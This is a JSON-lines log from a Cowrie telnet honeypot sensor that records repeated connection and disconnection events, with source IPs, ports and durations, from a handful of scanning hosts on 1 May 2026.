{"eventid":"cowrie.session.closed","duration":30.979158639907837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.317855Z","src_ip":"104.167.8.156","session":"0e21e7b516d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34842,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d87389ee96","protocol":"telnet","message":"New connection: 104.167.8.156:34842 (10.17.0.5:23) [session: 59d87389ee96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.372756Z"}
{"eventid":"cowrie.session.closed","duration":31.16949963569641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.408332Z","src_ip":"104.167.8.156","session":"4d76b4cde7cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054697275161743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.495650Z","src_ip":"104.167.8.156","session":"e890f74ad7c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41260,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe17afd1eff","protocol":"telnet","message":"New connection: 108.61.251.217:41260 (10.17.0.5:23) [session: 1fe17afd1eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.590032Z"}
{"eventid":"cowrie.session.closed","duration":31.445600748062134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.595846Z","src_ip":"104.167.8.156","session":"0f25f110edfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56994,"dst_ip":"10.17.0.5","dst_port":23,"session":"73477451d07a","protocol":"telnet","message":"New connection: 104.167.8.156:56994 (10.17.0.5:23) [session: 73477451d07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.672850Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39510,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1d36a800d4b","protocol":"telnet","message":"New connection: 104.167.8.156:39510 (10.17.0.5:23) [session: f1d36a800d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.762747Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40110,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0ba2d88a836","protocol":"telnet","message":"New connection: 104.167.8.156:40110 (10.17.0.5:23) [session: f0ba2d88a836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.929179Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41270,"dst_ip":"10.17.0.5","dst_port":23,"session":"1198f55a582b","protocol":"telnet","message":"New connection: 108.61.251.217:41270 (10.17.0.5:23) [session: 1198f55a582b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:00.933282Z"}
{"eventid":"cowrie.session.closed","duration":30.58384394645691,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.023523Z","src_ip":"104.167.8.156","session":"0a2501b9b517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.343167304992676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.079841Z","src_ip":"104.167.8.156","session":"55bc3dfc4411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.168699026107788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.110026Z","src_ip":"104.167.8.156","session":"3460741f2a8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236544132232666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.160505Z","src_ip":"108.61.251.217","session":"2c6eac4deee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":55028,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5946f2ed909","protocol":"telnet","message":"New connection: 98.70.41.28:55028 (159.203.135.109:23) [session: b5946f2ed909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.203569Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41182,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f2742d43a8","protocol":"telnet","message":"New connection: 104.167.8.156:41182 (10.17.0.5:23) [session: 59f2742d43a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.210521Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41672,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9525849a1de","protocol":"telnet","message":"New connection: 104.167.8.156:41672 (10.17.0.5:23) [session: b9525849a1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.310458Z"}
{"eventid":"cowrie.session.closed","duration":30.704264640808105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.332922Z","src_ip":"104.167.8.156","session":"961071ccc832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211057424545288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.339621Z","src_ip":"104.167.8.156","session":"b8362b65f6e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38510,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbf4de2869b5","protocol":"telnet","message":"New connection: 104.167.8.156:38510 (10.17.0.5:23) [session: fbf4de2869b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.473116Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42994,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95620784514","protocol":"telnet","message":"New connection: 104.167.8.156:42994 (10.17.0.5:23) [session: b95620784514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.696639Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41328,"dst_ip":"10.17.0.5","dst_port":23,"session":"6856fcd2a1e8","protocol":"telnet","message":"New connection: 108.61.251.217:41328 (10.17.0.5:23) [session: 6856fcd2a1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.782040Z"}
{"eventid":"cowrie.session.closed","duration":31.189384937286377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.824404Z","src_ip":"104.167.8.156","session":"aedfc63bd663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474884748458862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.829419Z","src_ip":"108.61.251.217","session":"3a06cb01af47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43544,"dst_ip":"10.17.0.5","dst_port":23,"session":"a99ca11cff56","protocol":"telnet","message":"New connection: 104.167.8.156:43544 (10.17.0.5:23) [session: a99ca11cff56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:01.879292Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44016,"dst_ip":"10.17.0.5","dst_port":23,"session":"1add8c2ae4d0","protocol":"telnet","message":"New connection: 104.167.8.156:44016 (10.17.0.5:23) [session: 1add8c2ae4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.028049Z"}
{"eventid":"cowrie.session.closed","duration":30.78773522377014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.047610Z","src_ip":"104.167.8.156","session":"4f87d85e226b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.77230167388916,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.113102Z","src_ip":"188.208.141.113","session":"841cc7aeeab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44274,"dst_ip":"10.17.0.5","dst_port":23,"session":"51fb0b76b1bc","protocol":"telnet","message":"New connection: 104.167.8.156:44274 (10.17.0.5:23) [session: 51fb0b76b1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.119270Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44308,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb0272170784","protocol":"telnet","message":"New connection: 104.167.8.156:44308 (10.17.0.5:23) [session: eb0272170784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.124809Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41370,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df8c7047b51","protocol":"telnet","message":"New connection: 108.61.251.217:41370 (10.17.0.5:23) [session: 1df8c7047b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.210817Z"}
{"eventid":"cowrie.session.closed","duration":31.13720464706421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.541566Z","src_ip":"104.167.8.156","session":"693e5e82cc79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42514,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a603136fe82","protocol":"telnet","message":"New connection: 104.167.8.156:42514 (10.17.0.5:23) [session: 3a603136fe82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.566801Z"}
{"eventid":"cowrie.session.closed","duration":31.01935338973999,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.643818Z","src_ip":"104.167.8.156","session":"b9995ced555a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43082,"dst_ip":"10.17.0.5","dst_port":23,"session":"c59039787061","protocol":"telnet","message":"New connection: 104.167.8.156:43082 (10.17.0.5:23) [session: c59039787061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:02.724698Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41432,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0a5c61ef25","protocol":"telnet","message":"New connection: 108.61.251.217:41432 (10.17.0.5:23) [session: 0c0a5c61ef25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.053609Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41440,"dst_ip":"10.17.0.5","dst_port":23,"session":"533335fcf502","protocol":"telnet","message":"New connection: 108.61.251.217:41440 (10.17.0.5:23) [session: 533335fcf502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.064966Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41448,"dst_ip":"10.17.0.5","dst_port":23,"session":"83dac1bdb5e7","protocol":"telnet","message":"New connection: 108.61.251.217:41448 (10.17.0.5:23) [session: 83dac1bdb5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.176088Z"}
{"eventid":"cowrie.session.closed","duration":31.117993354797363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.217934Z","src_ip":"104.167.8.156","session":"ad593fed8a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356826305389404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.223067Z","src_ip":"104.167.8.156","session":"a9194b368b75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41458,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c3c7b9f8401","protocol":"telnet","message":"New connection: 108.61.251.217:41458 (10.17.0.5:23) [session: 8c3c7b9f8401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.231043Z"}
{"eventid":"cowrie.session.closed","duration":31.329658269882202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.337286Z","src_ip":"108.61.251.217","session":"0e9eca647229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873849153518677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.415070Z","src_ip":"108.61.251.217","session":"3c21b8e5de78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831329584121704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.515577Z","src_ip":"104.167.8.156","session":"658583fdd7ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46060,"dst_ip":"10.17.0.5","dst_port":23,"session":"7981be9c6088","protocol":"telnet","message":"New connection: 104.167.8.156:46060 (10.17.0.5:23) [session: 7981be9c6088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.574948Z"}
{"eventid":"cowrie.session.closed","duration":30.94747829437256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.606221Z","src_ip":"104.167.8.156","session":"a5bad403fbab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49936,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb83561360fb","protocol":"telnet","message":"New connection: 104.167.8.156:49936 (10.17.0.5:23) [session: bb83561360fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.724483Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50716,"dst_ip":"10.17.0.5","dst_port":23,"session":"eddd0de5ef3c","protocol":"telnet","message":"New connection: 104.167.8.156:50716 (10.17.0.5:23) [session: eddd0de5ef3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:03.963755Z"}
{"eventid":"cowrie.session.closed","duration":31.19914150238037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.021333Z","src_ip":"104.167.8.156","session":"ecffc3e97e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806013345718384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.026444Z","src_ip":"104.167.8.156","session":"d556e2af07ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51046,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba8d1f07f161","protocol":"telnet","message":"New connection: 104.167.8.156:51046 (10.17.0.5:23) [session: ba8d1f07f161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.074223Z"}
{"eventid":"cowrie.session.closed","duration":30.537338495254517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.235880Z","src_ip":"108.61.251.217","session":"c80dca5a4430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79865312576294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.388218Z","src_ip":"108.61.251.217","session":"a900869f5576","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36204218864441,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.449994Z","src_ip":"108.61.251.217","session":"2f95f7404ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52499,"dst_ip":"10.17.0.5","dst_port":23,"session":"0614f66d9fd6","protocol":"telnet","message":"New connection: 104.167.8.156:52499 (10.17.0.5:23) [session: 0614f66d9fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.471658Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53316,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1efb33b41b","protocol":"telnet","message":"New connection: 104.167.8.156:53316 (10.17.0.5:23) [session: 4e1efb33b41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.688696Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53380,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b7150cb8e9","protocol":"telnet","message":"New connection: 104.167.8.156:53380 (10.17.0.5:23) [session: b2b7150cb8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.704423Z"}
{"eventid":"cowrie.session.closed","duration":40.02666616439819,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.740519Z","src_ip":"188.208.141.113","session":"3eed5f71ffdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53480,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4e3b144009","protocol":"telnet","message":"New connection: 104.167.8.156:53480 (10.17.0.5:23) [session: ab4e3b144009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.744507Z"}
{"eventid":"cowrie.session.closed","duration":31.59037971496582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.878713Z","src_ip":"104.167.8.156","session":"6498bcfb42a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.944563388824463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.934021Z","src_ip":"104.167.8.156","session":"b1944a6eaca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54196,"dst_ip":"10.17.0.5","dst_port":23,"session":"d60e7653ce83","protocol":"telnet","message":"New connection: 104.167.8.156:54196 (10.17.0.5:23) [session: d60e7653ce83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:04.987736Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f00a68fc9259","protocol":"telnet","message":"New connection: 104.167.8.156:54508 (10.17.0.5:23) [session: f00a68fc9259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.089740Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54696,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee7df8f78c5c","protocol":"telnet","message":"New connection: 104.167.8.156:54696 (10.17.0.5:23) [session: ee7df8f78c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.163479Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":42574,"dst_ip":"159.203.135.109","dst_port":23,"session":"aab3a4c08814","protocol":"telnet","message":"New connection: 98.70.41.28:42574 (159.203.135.109:23) [session: aab3a4c08814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.211498Z"}
{"eventid":"cowrie.session.closed","duration":31.06995725631714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.278052Z","src_ip":"108.61.251.217","session":"0de3cee99977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09462833404541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.308614Z","src_ip":"108.61.251.217","session":"30c3bb6f55ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68852996826172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.380530Z","src_ip":"104.167.8.156","session":"f734b38c9382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55894,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a87820c6215","protocol":"telnet","message":"New connection: 104.167.8.156:55894 (10.17.0.5:23) [session: 3a87820c6215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.447845Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45674,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ae9d7757ee3","protocol":"telnet","message":"New connection: 104.167.8.156:45674 (10.17.0.5:23) [session: 7ae9d7757ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.468873Z"}
{"eventid":"cowrie.session.closed","duration":31.200826406478882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.506631Z","src_ip":"104.167.8.156","session":"c0bc35b3a992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.394596815109253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.518858Z","src_ip":"104.167.8.156","session":"029e745ebb7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.412023067474365,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.671739Z","src_ip":"188.208.141.113","session":"2a8f5b128ea9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.328322887420654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.761580Z","src_ip":"98.70.41.28","session":"38f174424354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57334,"dst_ip":"10.17.0.5","dst_port":23,"session":"24c88a6453aa","protocol":"telnet","message":"New connection: 104.167.8.156:57334 (10.17.0.5:23) [session: 24c88a6453aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.856474Z"}
{"eventid":"cowrie.session.closed","duration":31.407113075256348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:05.926106Z","src_ip":"104.167.8.156","session":"9aaa50e9c1e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57908,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6aaf7293e8","protocol":"telnet","message":"New connection: 104.167.8.156:57908 (10.17.0.5:23) [session: ac6aaf7293e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.023021Z"}
{"eventid":"cowrie.session.closed","duration":30.878748416900635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.040454Z","src_ip":"104.167.8.156","session":"6d5e8cda3949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908756017684937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.130685Z","src_ip":"108.61.251.217","session":"067a4c6a78d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54698,"dst_ip":"10.17.0.5","dst_port":23,"session":"cba952ad7be2","protocol":"telnet","message":"New connection: 104.167.8.156:54698 (10.17.0.5:23) [session: cba952ad7be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.166871Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54886,"dst_ip":"10.17.0.5","dst_port":23,"session":"81709c893687","protocol":"telnet","message":"New connection: 104.167.8.156:54886 (10.17.0.5:23) [session: 81709c893687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:06.204654Z"}
